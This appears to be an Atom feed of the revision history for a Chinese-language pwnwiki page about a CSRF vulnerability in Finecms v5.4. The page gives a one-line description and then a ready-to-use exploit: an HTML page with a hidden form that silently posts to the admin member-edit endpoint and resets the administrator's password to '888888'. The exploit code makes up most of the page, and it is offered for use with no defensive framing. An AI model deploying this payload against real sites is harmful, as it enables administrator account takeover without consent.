https://pwnwiki.com/index.php?action=history&feed=atom&title=Finecms_v5.4_CSRF%E6%BC%8F%E6%B4%9E
Finecms v5.4 CSRF漏洞 - Revision history
2026-04-07T08:17:02Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=Finecms_v5.4_CSRF%E6%BC%8F%E6%B4%9E&diff=1676&oldid=prev
Pwnwiki: Created page with "==漏洞描述== 惡意攻擊者可以精心偽造一個html頁面誘騙已登錄的管理用戶點擊，從而更改管理員賬戶密碼。 ==EXP== <pre> <html> <body>..."
2021-04-15T05:42:27Z
<p>Created page with "==漏洞描述== 惡意攻擊者可以精心偽造一個html頁面誘騙已登錄的管理用戶點擊，從而更改管理員賬戶密碼。 ==EXP== <pre> <html> <body>..."</p>
<p><b>New page</b></p><div>==漏洞描述==<br />
惡意攻擊者可以精心偽造一個html頁面誘騙已登錄的管理用戶點擊，從而更改管理員賬戶密碼。<br />
<br />
==EXP==<br />
<pre><br />
<html><br />
<body><br />
<script>history.pushState('', '', '/')</script><br />
<form action="http://127.0.0.1/admin.php?c=member&m=edit&uid=1" method="POST"><br />
<input type="hidden" name="page" value="0" /><br />
<input type="hidden" name="member&#91;email&#93;" value="admin&#64;163&#46;com" /><br />
<input type="hidden" name="member&#91;name&#93;" value="admin" /><br />
<input type="hidden" name="member&#91;phone&#93;" value="18888888888" /><br />
<input type="hidden" name="member&#91;password&#93;" value="888888" /><br />
<input type="submit" value="Submit request" /><br />
</form><br />
</body><br />
</html><br />
</pre></div>
Pwnwiki